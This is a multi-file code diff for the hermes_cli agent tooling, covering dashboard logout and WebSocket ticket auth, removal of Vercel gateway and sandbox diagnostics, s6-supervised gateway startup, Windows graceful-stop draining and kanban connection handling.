+    _at, rt = read_session_cookies(request)
+    if rt:
+        # Best-effort revoke. Try every provider so a session minted by
+        # any registered provider is revoked correctly. Failures are
+        # logged but never raised.
+        for provider in list_providers():
+            try:
+                provider.revoke_session(refresh_token=rt)
+            except Exception as e:  # noqa: BLE001 — best-effort
+                _log.warning(
+                    "dashboard-auth: revoke on %r failed: %s",
+                    provider.name, e,
+                )
+
+    sess = getattr(request.state, "session", None)
+    audit_log(
+        AuditEvent.LOGOUT,
+        provider=(sess.provider if sess else "unknown"),
+        user_id=(sess.user_id if sess else ""),
+        ip=_client_ip(request),
+    )
+
+    prefix = _prefix(request)
+    resp = RedirectResponse(url=f"{prefix}/login", status_code=302)
+    clear_session_cookies(resp, prefix=prefix)
+    clear_pkce_cookie(resp, prefix=prefix)
+    return resp
+
+
+# ---------------------------------------------------------------------------
+# Auth-required: identity probe for the SPA
+# ---------------------------------------------------------------------------
+
+
+@router.get("/api/auth/me", name="auth_me")
+async def api_auth_me(request: Request):
+    """Return the verified session as JSON. Auth-required (gate enforces)."""
+    sess = getattr(request.state, "session", None)
+    if sess is None:
+        raise HTTPException(status_code=401, detail="Unauthorized")
+    return {
+        "user_id": sess.user_id,
+        "email": sess.email,
+        "display_name": sess.display_name,
+        "org_id": sess.org_id,
+        "provider": sess.provider,
+        "expires_at": sess.expires_at,
+    }
+
+
+# ---------------------------------------------------------------------------
+# Auth-required: WS upgrade ticket (Phase 5)
+# ---------------------------------------------------------------------------
+
+
+@router.post("/api/auth/ws-ticket", name="auth_ws_ticket")
+async def api_auth_ws_ticket(request: Request):
+    """Mint a short-lived single-use ticket for the authenticated session.
+
+    Browsers cannot set ``Authorization`` on a WebSocket upgrade, so in
+    gated mode the SPA POSTs this endpoint to get a ``?ticket=`` value to
+    append to ``/api/pty``, ``/api/ws``, ``/api/pub``, or ``/api/events``.
+
+    The ticket has a 30-second TTL and is single-use. Calling this endpoint
+    multiple times in quick succession (e.g. one ticket per WS) is the
+    expected pattern.
+    """
+    sess = getattr(request.state, "session", None)
+    if sess is None:
+        # Middleware should already have rejected, but check defensively.
+        raise HTTPException(status_code=401, detail="Unauthorized")
+
+    # Import here so the routes module stays usable in test contexts that
+    # don't load the ticket store.
+    from hermes_cli.dashboard_auth.ws_tickets import TTL_SECONDS, mint_ticket
+
+    ticket = mint_ticket(user_id=sess.user_id, provider=sess.provider)
+    audit_log(
+        AuditEvent.WS_TICKET_MINTED,
+        provider=sess.provider,
+        user_id=sess.user_id,
+        ip=_client_ip(request),
+    )
+    return {"ticket": ticket, "ttl_seconds": TTL_SECONDS}

hermes_cli/dashboard_auth/ws_tickets.py

@@ -0,0 +1,87 @@
+"""Short-lived single-use tickets for WS-upgrade auth in gated mode.
+
+Browsers cannot set ``Authorization`` on a WebSocket upgrade. In loopback
+mode the legacy ``?token=<_SESSION_TOKEN>`` query param works because the
+token is injected into the SPA bundle. In gated mode there is no injected
+token — the SPA gets a fresh ticket via the authenticated REST endpoint
+``POST /api/auth/ws-ticket`` and passes that as ``?ticket=`` on the
+WS upgrade.
+
+Tickets are single-use, TTL = 30 seconds. In-memory; the dashboard is a
+single process so no distributed coordination is needed. The module
+exposes a small functional API rather than a class so tests can patch
+``time.time`` cleanly.
+"""
+
+from __future__ import annotations
+
+import secrets
+import threading
+import time
+from typing import Any, Dict, Tuple
+
+#: Time-to-live for newly-minted tickets in seconds. 30 s is long enough
+#: that the SPA can call ``getWsTicket()`` and immediately open the WS,
+#: short enough that a leaked ticket is uninteresting.
+TTL_SECONDS = 30
+
+_lock = threading.Lock()
+_tickets: Dict[str, Tuple[int, Dict[str, Any]]] = {}  # ticket -> (expires_at, info)
+
+
+class TicketInvalid(Exception):
+    """Ticket missing, expired, or already consumed."""
+
+
+def mint_ticket(*, user_id: str, provider: str) -> str:
+    """Generate a one-shot ticket bound to this user identity.
+
+    The returned token is base64url, 43 bytes of entropy (32-byte random
+    seed). Stash returns the ``info`` dict to the caller on consume so the
+    WS handler can carry the identity forward into its session log.
+    """
+    ticket = secrets.token_urlsafe(32)
+    info = {
+        "user_id": user_id,
+        "provider": provider,
+        "minted_at": int(time.time()),
+    }
+    with _lock:
+        _tickets[ticket] = (int(time.time()) + TTL_SECONDS, info)
+        _gc_expired_locked()
+    return ticket
+
+
+def consume_ticket(ticket: str) -> Dict[str, Any]:
+    """Validate and consume. Raises :class:`TicketInvalid` on missing/expired/used.
+
+    Single-use semantics: a successful consume immediately removes the
+    ticket from the store, so a second call with the same value raises
+    ``TicketInvalid("unknown ticket: …")``.
+    """
+    now = int(time.time())
+    with _lock:
+        entry = _tickets.pop(ticket, None)
+        if entry is None:
+            # Truncate ticket value in the error so misuse never logs the
+            # secret in full.
+            truncated = (ticket[:8] + "…") if ticket else "<empty>"
+            raise TicketInvalid(f"unknown ticket: {truncated}")
+        expires_at, info = entry
+        if expires_at < now:
+            raise TicketInvalid("expired")
+        return info
+
+
+def _gc_expired_locked() -> None:
+    """Drop expired tickets. Caller must hold ``_lock``."""
+    now = int(time.time())
+    expired = [t for t, (exp, _) in _tickets.items() if exp < now]
+    for t in expired:
+        _tickets.pop(t, None)
+
+
+def _reset_for_tests() -> None:
+    """Test-only: drop all tickets."""
+    with _lock:
+        _tickets.clear()

hermes_cli/doctor.py

@@ -25,7 +25,6 @@ load_hermes_dotenv(hermes_home=_env_path.parent, project_env=PROJECT_ROOT / ".en
 
 from hermes_cli.colors import Colors, color
 from hermes_cli.models import _HERMES_USER_AGENT
-from hermes_cli.vercel_auth import describe_vercel_auth
 from hermes_constants import OPENROUTER_MODELS_URL
 from utils import base_url_host_matches
 
@@ -49,7 +48,6 @@ _PROVIDER_ENV_HINTS = (
     "DEEPSEEK_API_KEY",
     "DASHSCOPE_API_KEY",
     "HF_TOKEN",
-    "AI_GATEWAY_API_KEY",
     "OPENCODE_ZEN_API_KEY",
     "OPENCODE_GO_API_KEY",
     "XIAOMI_API_KEY",
@@ -324,7 +322,6 @@ def _build_apikey_providers_list() -> list:
         ("MiniMax",          ("MINIMAX_API_KEY",),                           "https://api.minimax.io/v1/models",    "MINIMAX_BASE_URL", True),
         # MiniMax CN: /v1 endpoint does NOT support /models (returns 404).
         ("MiniMax (China)",  ("MINIMAX_CN_API_KEY",),                        "https://api.minimaxi.com/v1/models",  "MINIMAX_CN_BASE_URL", False),
-        ("Vercel AI Gateway", ("AI_GATEWAY_API_KEY",),                       "https://ai-gateway.vercel.sh/v1/models", "AI_GATEWAY_BASE_URL", True),
         ("Kilo Code",        ("KILOCODE_API_KEY",),                          "https://api.kilo.ai/api/gateway/models", "KILOCODE_BASE_URL", True),
         ("OpenCode Zen",     ("OPENCODE_ZEN_API_KEY",),                      "https://opencode.ai/zen/v1/models",  "OPENCODE_ZEN_BASE_URL", True),
         # OpenCode Go has no shared /models endpoint; skip the health check.
@@ -340,7 +337,7 @@ def _build_apikey_providers_list() -> list:
         "Arcee AI": "arcee", "GMI Cloud": "gmi", "DeepSeek": "deepseek",
         "Hugging Face": "huggingface", "NVIDIA NIM": "nvidia",
         "Alibaba/DashScope": "alibaba", "MiniMax": "minimax",
-        "MiniMax (China)": "minimax-cn", "Vercel AI Gateway": "ai-gateway",
+        "MiniMax (China)": "minimax-cn",
         "Kilo Code": "kilocode", "OpenCode Zen": "opencode-zen",
         "OpenCode Go": "opencode-go",
     }
@@ -690,7 +687,6 @@ def run_doctor(args):
                 "openrouter",
                 "custom",
                 "auto",
-                "ai-gateway",
                 "kilocode",
                 "opencode-zen",
                 "huggingface",
@@ -1262,68 +1258,6 @@ def run_doctor(args):
                 issues,
             )
 
-    # Vercel Sandbox (if using vercel_sandbox backend)
-    if terminal_env == "vercel_sandbox":
-        runtime = os.getenv("TERMINAL_VERCEL_RUNTIME", "node24").strip() or "node24"
-        from tools.terminal_tool import _SUPPORTED_VERCEL_RUNTIMES
-        if runtime in _SUPPORTED_VERCEL_RUNTIMES:
-            check_ok("Vercel runtime", f"({runtime})")
-        else:
-            supported = ", ".join(_SUPPORTED_VERCEL_RUNTIMES)
-            _fail_and_issue(
-                "Vercel runtime unsupported",
-                f"({runtime}; use {supported})",
-                f"Set TERMINAL_VERCEL_RUNTIME to one of: {supported}",
-                issues,
-            )
-
-        disk = os.getenv("TERMINAL_CONTAINER_DISK", "51200").strip()
-        if disk in {"", "0", "51200"}:
-            check_ok("Vercel disk setting", "(uses platform default)")
-        else:
-            _fail_and_issue(
-                "Vercel custom disk unsupported",
-                "(reset terminal.container_disk to 51200)",
-                "Vercel Sandbox does not support custom container_disk; use the shared default 51200",
-                issues,
-            )
-
-        if importlib.util.find_spec("vercel") is not None:
-            check_ok("vercel SDK", "(installed)")
-        else:
-            _fail_and_issue(
-                "vercel SDK not installed",
-                "(pip install 'hermes-agent[vercel]')",
-                "Install the Vercel optional dependency: pip install 'hermes-agent[vercel]'",
-                issues,
-            )
-
-        auth_status = describe_vercel_auth()
-        if auth_status.ok:
-            check_ok("Vercel auth", f"({auth_status.label})")
-        elif auth_status.label.startswith("partial"):
-            _fail_and_issue(
-                "Vercel auth incomplete",
-                f"({auth_status.label})",
-                "Set VERCEL_TOKEN, VERCEL_PROJECT_ID, and VERCEL_TEAM_ID together",
-                issues,
-            )
-        else:
-            _fail_and_issue(
-                "Vercel auth not configured",
-                f"({auth_status.label})",
-                "Configure Vercel Sandbox auth with VERCEL_TOKEN, VERCEL_PROJECT_ID, and VERCEL_TEAM_ID",
-                issues,
-            )
-        for line in auth_status.detail_lines:
-            check_info(f"Vercel auth {line}")
-
-        persistent = os.getenv("TERMINAL_CONTAINER_PERSISTENT", "true").lower() in {"1", "true", "yes", "on"}
-        if persistent:
-            check_info("Vercel persistence: snapshot filesystem only; live processes do not survive sandbox recreation")
-        else:
-            check_info("Vercel persistence: ephemeral filesystem")
-
     # Node.js + agent-browser (for browser automation tools)
     if _safe_which("node"):
         check_ok("Node.js")

hermes_cli/dump.py

@@ -20,7 +20,15 @@ from agent.skill_utils import is_excluded_skill_path
 
 
 def _get_git_commit(project_root: Path) -> str:
-    """Return short git commit hash, or '(unknown)'."""
+    """Return short git commit hash, or '(unknown)'.
+
+    Source installs and dev images resolve this live via ``git rev-parse``.
+    The published Docker image excludes ``.git`` from the build context, so
+    that lookup always fails — we fall back to the baked-in build SHA written
+    to ``<project_root>/.hermes_build_sha`` by the Dockerfile's
+    ``HERMES_GIT_SHA`` build-arg (see ``hermes_cli/build_info.py``).
+    The output format is identical regardless of source.
+    """
     try:
         result = subprocess.run(
             ["git", "rev-parse", "--short=8", "HEAD"],
@@ -28,9 +36,23 @@ def _get_git_commit(project_root: Path) -> str:
             cwd=str(project_root),
         )
         if result.returncode == 0:
-            return result.stdout.strip()
+            value = result.stdout.strip()
+            if value:
+                return value
     except Exception:
         pass
+
+    # Fall back to the build-time baked SHA (populated in published Docker
+    # images, absent otherwise).  Defers the import so the dump module
+    # stays cheap on non-dump code paths.
+    try:
+        from hermes_cli.build_info import get_build_sha
+        baked = get_build_sha(short=8)
+        if baked:
+            return baked
+    except Exception:
+        pass
+
     return "(unknown)"
 
 
@@ -279,7 +301,6 @@ def run_dump(args):
         ("DASHSCOPE_API_KEY", "dashscope"),
         ("HF_TOKEN", "huggingface"),
         ("NVIDIA_API_KEY", "nvidia"),
-        ("AI_GATEWAY_API_KEY", "ai_gateway"),
         ("OPENCODE_ZEN_API_KEY", "opencode_zen"),
         ("OPENCODE_GO_API_KEY", "opencode_go"),
         ("KILOCODE_API_KEY", "kilocode"),

hermes_cli/gateway.py

@@ -5150,11 +5150,83 @@ def gateway_command(args):
         sys.exit(1)
 
 
+def _maybe_redirect_run_to_s6_supervision(args) -> bool:
+    """Inside an s6 container, redirect bare ``gateway run`` to the
+    supervised path.
+
+    Background. Before the s6 image landed, ``docker run <image> gateway
+    run`` was the standard way to start a containerized gateway: the
+    gateway was the container's main process, tini reaped zombies, and
+    container exit code == gateway exit code. With s6-overlay as PID 1,
+    we'd much rather have the gateway run as a supervised s6 longrun
+    (auto-restart on crash, dashboard supervised alongside, multiple
+    profile gateways under the same /init). This redirect upgrades the
+    old invocation transparently — the user gets the new behavior
+    without changing their docker run command.
+
+    Three gates make this a no-op outside the intended scope:
+
+      1. ``_dispatch_via_service_manager_if_s6`` returns False unless
+         we're in a container with s6 as PID 1. Host runs of
+         ``hermes gateway run`` are unaffected.
+      2. ``HERMES_S6_SUPERVISED_CHILD`` is exported by
+         ``S6ServiceManager._render_run_script`` for the supervised
+         process itself — i.e. when s6-supervise execs ``hermes gateway
+         run --replace`` as a longrun, this guard short-circuits the
+         redirect so the supervised gateway actually runs in
+         foreground (otherwise we'd recurse: run → start → run → start
+         → ...).
+      3. ``--no-supervise`` (or ``HERMES_GATEWAY_NO_SUPERVISE=1``) opts
+         out for users who genuinely want pre-s6 semantics — CI smoke
+         tests, debugging the foreground startup path, etc.
+
+    Returns True iff dispatched (caller should ``return``).
+    """
+    no_supervise = getattr(args, "no_supervise", False) or \
+        os.environ.get("HERMES_GATEWAY_NO_SUPERVISE", "").lower() in ("1", "true", "yes")
+    if no_supervise:
+        return False
+    if os.environ.get("HERMES_S6_SUPERVISED_CHILD"):
+        # We ARE the supervised child s6-supervise is running. Fall
+        # through to the foreground code path so the gateway actually
+        # starts.
+        return False
+    if not _dispatch_via_service_manager_if_s6("start"):
+        return False
+    # Loud breadcrumb: explain the upgrade and how to opt out. Print to
+    # stderr so it doesn't pollute stdout-parsing scripts. The
+    # supervised gateway's own logs are routed by s6-log to both
+    # `docker logs` and ${HERMES_HOME}/logs/gateways/<profile>/current,
+    # so the user sees a clear sequence: this banner first, then the
+    # gateway's own stdout/stderr from the supervisor.
+    print(
+        "→ gateway is now running under s6 supervision (auto-restart on crash,\n"
+        "  dashboard supervised alongside if HERMES_DASHBOARD is set).\n"
+        "  This is the recommended setup for the s6 container image — the\n"
+        "  gateway will keep running even if it crashes.\n"
+        "  Use `--no-supervise` (or HERMES_GATEWAY_NO_SUPERVISE=1) to opt out\n"
+        "  and get the pre-s6 foreground behavior instead.",
+        file=sys.stderr,
+        flush=True,
+    )
+    # Block until the container is signalled. The supervised gateway's
+    # lifetime is independent of this process — s6-supervise restarts
+    # it on crash, and we don't want the container to exit when the
+    # gateway flaps. `sleep infinity` matches the static main-hermes
+    # service's pattern (see docker/s6-rc.d/main-hermes/run): the CMD
+    # process is a no-op heartbeat that keeps /init alive until
+    # `docker stop` sends SIGTERM, at which point /init runs stage 3
+    # shutdown (which tears down the supervised gateway cleanly).
+    os.execvp("sleep", ["sleep", "infinity"])
+
+
 def _gateway_command_inner(args):
     subcmd = getattr(args, 'gateway_command', None)
     
     # Default to run if no subcommand
     if subcmd is None or subcmd == "run":
+        if _maybe_redirect_run_to_s6_supervision(args):
+            return  # unreachable; execvp doesn't return
         verbose = getattr(args, 'verbose', 0)
         quiet = getattr(args, 'quiet', False)
         replace = getattr(args, 'replace', False)

hermes_cli/gateway_windows.py

@@ -1014,12 +1014,70 @@ def start() -> None:
     _report_gateway_start(f"direct spawn (PID {pid})")
 
 
-def stop() -> None:
-    """Stop the gateway. Tries /End on the scheduled task, then kills any stragglers."""
-    _assert_windows()
-    from hermes_cli.gateway import kill_gateway_processes
+def _drain_gateway_pid(pid: int, drain_timeout: float) -> bool:
+    """Write the planned-stop marker and wait for the gateway PID to exit.
 
-    stopped_any = False
+    Windows cannot deliver POSIX signals to a Python asyncio loop
+    (``loop.add_signal_handler`` raises NotImplementedError), so writing
+    the marker is the ONLY way to ask a running gateway to drain
+    in-flight agents and persist ``resume_pending`` before exit. The
+    gateway's planned-stop watcher thread (gateway/run.py) polls for
+    the marker and drives the same shutdown path the SIGTERM handler
+    would have on POSIX.
+
+    Returns True if the PID exited within the timeout, False if it
+    didn't (caller should escalate to schtasks /End + taskkill).
+    """
+    if pid <= 0:
+        return False
+    try:
+        from gateway.status import write_planned_stop_marker, _pid_exists
+    except ImportError:
+        return False
+
+    try:
+        write_planned_stop_marker(pid)
+    except Exception:
+        # Best-effort: if the marker can't be written, we have no choice
+        # but to fall through to a hard kill.  Caller decides escalation.
+        pass
+
+    deadline = time.monotonic() + max(drain_timeout, 1.0)
+    while time.monotonic() < deadline:
+        if not _pid_exists(pid):
+            return True
+        time.sleep(0.5)
+    return False
+
+
+def stop() -> None:
+    """Stop the gateway.
+
+    Writes the planned-stop marker first so the gateway can drain
+    in-flight agents and persist ``resume_pending`` before exit (the
+    gateway's marker-watcher thread picks this up — Windows asyncio
+    can't deliver SIGTERM to the loop, so the marker is our only IPC).
+    Then escalates: ``schtasks /End`` (kills the scheduled-task tree)
+    + ``kill_gateway_processes(force=True)`` for any strays.
+    """
+    _assert_windows()
+    from hermes_cli.gateway import kill_gateway_processes, _get_restart_drain_timeout
+    from gateway.status import get_running_pid
+
+    # Phase 1: ask the running gateway (if any) to drain itself by writing
+    # the planned-stop marker, then wait briefly for it to exit cleanly.
+    # On clean exit, sessions land with resume_pending=True and the next
+    # boot will auto-resume them.
+    pid = get_running_pid()
+    drained = False
+    if pid is not None:
+        try:
+            drain_timeout = float(_get_restart_drain_timeout() or 30.0)
+        except Exception:
+            drain_timeout = 30.0
+        drained = _drain_gateway_pid(pid, drain_timeout)
+
+    stopped_any = drained
     if is_task_registered():
         code, _out, err = _exec_schtasks(["/End", "/TN", get_task_name()])
         # schtasks returns nonzero when the task isn't currently running — don't treat that as an error.
@@ -1028,12 +1086,19 @@ def stop() -> None:
         elif "not running" not in (err or "").lower():
             print(f"⚠ schtasks /End returned code {code}: {err.strip()}")
 
-    killed = kill_gateway_processes(all_profiles=False)
+    # Phase 3: hard-kill any strays.  When drain succeeded this is a no-op;
+    # when drain timed out this is the escalation that ensures the PID
+    # actually exits.  Use force=True on Windows so taskkill /T /F walks
+    # the descendant tree (browser helpers, etc.).
+    killed = kill_gateway_processes(all_profiles=False, force=not drained)
     if killed:
         stopped_any = True
         print(f"✓ Killed {killed} gateway process(es)")
     if stopped_any:
-        print("✓ Gateway stopped")
+        if drained:
+            print("✓ Gateway stopped (drained cleanly)")
+        else:
+            print("✓ Gateway stopped")
     else:
         print("✗ No gateway was running")
 

hermes_cli/kanban.py

@@ -1021,7 +1021,7 @@ def _board_task_counts(slug: str) -> dict[str, int]:
         path = kb.kanban_db_path(board=slug)
         if not path.exists():
             return {}
-        with kb.connect(board=slug) as conn:
+        with kb.connect_closing(board=slug) as conn:
             rows = conn.execute(
                 "SELECT status, COUNT(*) AS n FROM tasks GROUP BY status"
             ).fetchall()
@@ -1264,7 +1264,7 @@ def _cmd_init(args: argparse.Namespace) -> int:
 
 
 def _cmd_heartbeat(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         ok = kb.heartbeat_worker(
             conn,
             args.task_id,
@@ -1279,7 +1279,7 @@ def _cmd_heartbeat(args: argparse.Namespace) -> int:
 
 
 def _cmd_assignees(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         data = kb.known_assignees(conn)
     if getattr(args, "json", False):
         print(json.dumps(data, indent=2, ensure_ascii=False))
@@ -1320,7 +1320,7 @@ def _cmd_create(args: argparse.Namespace) -> int:
             file=sys.stderr,
         )
         return 2
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         task_id = kb.create_task(
             conn,
             title=args.title,
@@ -1369,7 +1369,7 @@ def _cmd_swarm(args: argparse.Namespace) -> int:
     if not workers:
         print("kanban swarm: at least one --worker is required", file=sys.stderr)
         return 2
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         created = ks.create_swarm(
             conn,
             goal=args.goal,
@@ -1395,7 +1395,7 @@ def _cmd_list(args: argparse.Namespace) -> int:
     assignee = args.assignee
     if args.mine and not assignee:
         assignee = _profile_author()
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         # Cheap "mini-dispatch": recompute ready so list output reflects
         # dependencies that may have cleared since the last dispatcher tick.
         kb.recompute_ready(conn)
@@ -1444,7 +1444,7 @@ def _cmd_show(args: argparse.Namespace) -> int:
             file=sys.stderr,
         )
         return 2
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         task = kb.get_task(conn, args.task_id)
         if not task:
             print(f"no such task: {args.task_id}", file=sys.stderr)
@@ -1610,7 +1610,7 @@ def _cmd_show(args: argparse.Namespace) -> int:
 
 def _cmd_assign(args: argparse.Namespace) -> int:
     profile = None if args.profile.lower() in {"none", "-", "null"} else args.profile
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         ok = kb.assign_task(conn, args.task_id, profile)
     if not ok:
         print(f"no such task: {args.task_id}", file=sys.stderr)
@@ -1620,7 +1620,7 @@ def _cmd_assign(args: argparse.Namespace) -> int:
 
 
 def _cmd_reclaim(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         ok = kb.reclaim_task(
             conn, args.task_id,
             reason=getattr(args, "reason", None),
@@ -1637,7 +1637,7 @@ def _cmd_reclaim(args: argparse.Namespace) -> int:
 
 def _cmd_reassign(args: argparse.Namespace) -> int:
     profile = None if args.profile.lower() in {"none", "-", "null"} else args.profile
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         ok = kb.reassign_task(
             conn, args.task_id, profile,
             reclaim_first=bool(getattr(args, "reclaim", False)),
@@ -1667,7 +1667,7 @@ def _cmd_diagnostics(args: argparse.Namespace) -> int:
 
     diag_config = kd.config_from_runtime_config(load_config())
 
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         # Either one-task mode or fleet mode.
         if getattr(args, "task", None):
             task = kb.get_task(conn, args.task)
@@ -1790,14 +1790,14 @@ def _cmd_diagnostics(args: argparse.Namespace) -> int:
 
 
 def _cmd_link(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         kb.link_tasks(conn, args.parent_id, args.child_id)
     print(f"Linked {args.parent_id} -> {args.child_id}")
     return 0
 
 
 def _cmd_unlink(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         ok = kb.unlink_tasks(conn, args.parent_id, args.child_id)
     if not ok:
         print(f"No such link: {args.parent_id} -> {args.child_id}", file=sys.stderr)
@@ -1807,7 +1807,7 @@ def _cmd_unlink(args: argparse.Namespace) -> int:
 
 
 def _cmd_claim(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         task = kb.claim_task(conn, args.task_id, ttl_seconds=args.ttl)
         if task is None:
             # Report why
@@ -1838,7 +1838,7 @@ def _cmd_comment(args: argparse.Namespace) -> int:
             suffix = f"\n\n[trimmed to {args.max_len} chars by --max-len]"
             body = body[: max(0, args.max_len - len(suffix))].rstrip() + suffix
     author = args.author or _profile_author()
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         kb.add_comment(conn, args.task_id, author, body)
     print(f"Comment added to {args.task_id}")
     return 0
@@ -1885,7 +1885,7 @@ def _cmd_complete(args: argparse.Namespace) -> int:
             print(f"kanban: --metadata: {exc}", file=sys.stderr)
             return 2
     failed: list[str] = []
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         for tid in ids:
             if not kb.complete_task(
                 conn, tid,
@@ -1912,7 +1912,7 @@ def _cmd_edit(args: argparse.Namespace) -> int:
         except (ValueError, json.JSONDecodeError) as exc:
             print(f"kanban: --metadata: {exc}", file=sys.stderr)
             return 2
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         if not kb.edit_completed_task_result(
             conn,
             args.task_id,
@@ -1934,7 +1934,7 @@ def _cmd_block(args: argparse.Namespace) -> int:
     author = _profile_author()
     ids = [args.task_id] + list(getattr(args, "ids", None) or [])
     failed: list[str] = []
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         for tid in ids:
             if reason:
                 kb.add_comment(conn, tid, author, f"BLOCKED: {reason}")
@@ -1956,7 +1956,7 @@ def _cmd_schedule(args: argparse.Namespace) -> int:
     author = _profile_author()
     ids = [args.task_id] + list(getattr(args, "ids", None) or [])
     failed: list[str] = []
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         for tid in ids:
             if reason:
                 kb.add_comment(conn, tid, author, f"SCHEDULED: {reason}")
@@ -1979,7 +1979,7 @@ def _cmd_unblock(args: argparse.Namespace) -> int:
         print("at least one task_id is required", file=sys.stderr)
         return 1
     failed: list[str] = []
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         for tid in ids:
             if not kb.unblock_task(conn, tid):
                 failed.append(tid)
@@ -2003,7 +2003,7 @@ def _cmd_promote(args: argparse.Namespace) -> int:
             seen.add(tid)
 
     results: list[dict[str, object]] = []
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         for tid in ids:
             ok, err = kb.promote_task(
                 conn,
@@ -2050,7 +2050,7 @@ def _cmd_archive(args: argparse.Namespace) -> int:
         print("at least one task_id is required", file=sys.stderr)
         return 1
     failed: list[str] = []
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         if purge_ids:
             for tid in purge_ids:
                 if not kb.delete_archived_task(conn, tid):
@@ -2073,7 +2073,7 @@ def _cmd_tail(args: argparse.Namespace) -> int:
     print(f"Tailing events for {args.task_id}. Ctrl-C to stop.")
     try:
         while True:
-            with kb.connect() as conn:
+            with kb.connect_closing() as conn:
                 events = kb.list_events(conn, args.task_id)
             for e in events:
                 if e.id > last_id:
@@ -2087,12 +2087,35 @@ def _cmd_tail(args: argparse.Namespace) -> int:
 
 
 def _cmd_dispatch(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    # Honour kanban.default_assignee as the fallback for unassigned ready
+    # tasks (#27145) and kanban.max_in_progress_per_profile as the
+    # per-profile concurrency cap (#21582). Same semantics as the
+    # gateway dispatch path.
+    try:
+        from hermes_cli.config import load_config
+        _cfg = load_config()
+        _kanban_cfg = _cfg.get("kanban", {}) if isinstance(_cfg, dict) else {}
+        default_assignee = (_kanban_cfg.get("default_assignee") or "").strip() or None
+        _raw_per_profile = _kanban_cfg.get("max_in_progress_per_profile", None)
+        try:
+            max_in_progress_per_profile = (
+                int(_raw_per_profile) if _raw_per_profile is not None else None
+            )
+            if max_in_progress_per_profile is not None and max_in_progress_per_profile < 1:
+                max_in_progress_per_profile = None
+        except (TypeError, ValueError):
+            max_in_progress_per_profile = None
+    except Exception:
+        default_assignee = None
+        max_in_progress_per_profile = None
+    with kb.connect_closing() as conn:
         res = kb.dispatch_once(
             conn,
             dry_run=args.dry_run,
             max_spawn=args.max,
             failure_limit=getattr(args, "failure_limit", kb.DEFAULT_SPAWN_FAILURE_LIMIT),
+            default_assignee=default_assignee,
+            max_in_progress_per_profile=max_in_progress_per_profile,
         )
     if getattr(args, "json", False):
         print(json.dumps({
@@ -2108,6 +2131,11 @@ def _cmd_dispatch(args: argparse.Namespace) -> int:
             ],
             "skipped_unassigned": res.skipped_unassigned,
             "skipped_nonspawnable": res.skipped_nonspawnable,
+            "skipped_per_profile_capped": [
+                {"task_id": tid, "assignee": who, "current": current}
+                for (tid, who, current) in res.skipped_per_profile_capped
+            ],
+            "auto_assigned_default": res.auto_assigned_default,
         }, indent=2))
         return 0
     print(f"Reclaimed:    {res.reclaimed}")
@@ -2128,8 +2156,18 @@ def _cmd_dispatch(args: argparse.Namespace) -> int:
     for tid, who, ws in res.spawned:
         tag = " (dry)" if args.dry_run else ""
         print(f"  - {tid}  ->  {who}  @ {ws or '-'}{tag}")
+    if res.auto_assigned_default:
+        print(
+            f"Auto-assigned to kanban.default_assignee={default_assignee!r}: "
+            f"{', '.join(res.auto_assigned_default)}"
+        )
     if res.skipped_unassigned:
         print(f"Skipped (unassigned): {', '.join(res.skipped_unassigned)}")
+    if res.skipped_per_profile_capped:
+        for tid, who, current in res.skipped_per_profile_capped:
+            print(
+                f"Deferred ({who} at per-profile cap, {current} running): {tid}"
+            )
     if res.skipped_nonspawnable:
         print(
             f"Skipped (non-spawnable assignee — terminal lane, OK): "
@@ -2257,7 +2295,7 @@ def _cmd_daemon(args: argparse.Namespace) -> int:
         from the dispatcher's perspective, not stuck.
         """
         try:
-            with kb.connect() as conn:
+            with kb.connect_closing() as conn:
                 return kb.has_spawnable_ready(conn)
         except Exception:
             return False
@@ -2288,7 +2326,7 @@ def _cmd_watch(args: argparse.Namespace) -> int:
     cursor = 0
     print("Watching kanban events. Ctrl-C to stop.", flush=True)
     # Seed cursor at the latest id so we don't replay history.
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         row = conn.execute(
             "SELECT COALESCE(MAX(id), 0) AS m FROM task_events"
         ).fetchone()
@@ -2296,7 +2334,7 @@ def _cmd_watch(args: argparse.Namespace) -> int:
 
     try:
         while True:
-            with kb.connect() as conn:
+            with kb.connect_closing() as conn:
                 rows = conn.execute(
                     "SELECT e.id, e.task_id, e.kind, e.payload, e.created_at, "
                     "       t.assignee, t.tenant "
@@ -2329,7 +2367,7 @@ def _cmd_watch(args: argparse.Namespace) -> int:
 
 
 def _cmd_stats(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         stats = kb.board_stats(conn)
     if getattr(args, "json", False):
         print(json.dumps(stats, indent=2, ensure_ascii=False))
@@ -2349,7 +2387,7 @@ def _cmd_stats(args: argparse.Namespace) -> int:
 
 
 def _cmd_notify_subscribe(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
         if kb.get_task(conn, args.task_id) is None:
             print(f"no such task: {args.task_id}", file=sys.stderr)
             return 1
@@ -2366,7 +2404,7 @@ def _cmd_notify_subscribe(args: argparse.Namespace) -> int:
 
 
 def _cmd_notify_list(args: argparse.Namespace) -> int:
-    with kb.connect() as conn:
+    with kb.connect_closing() as conn:
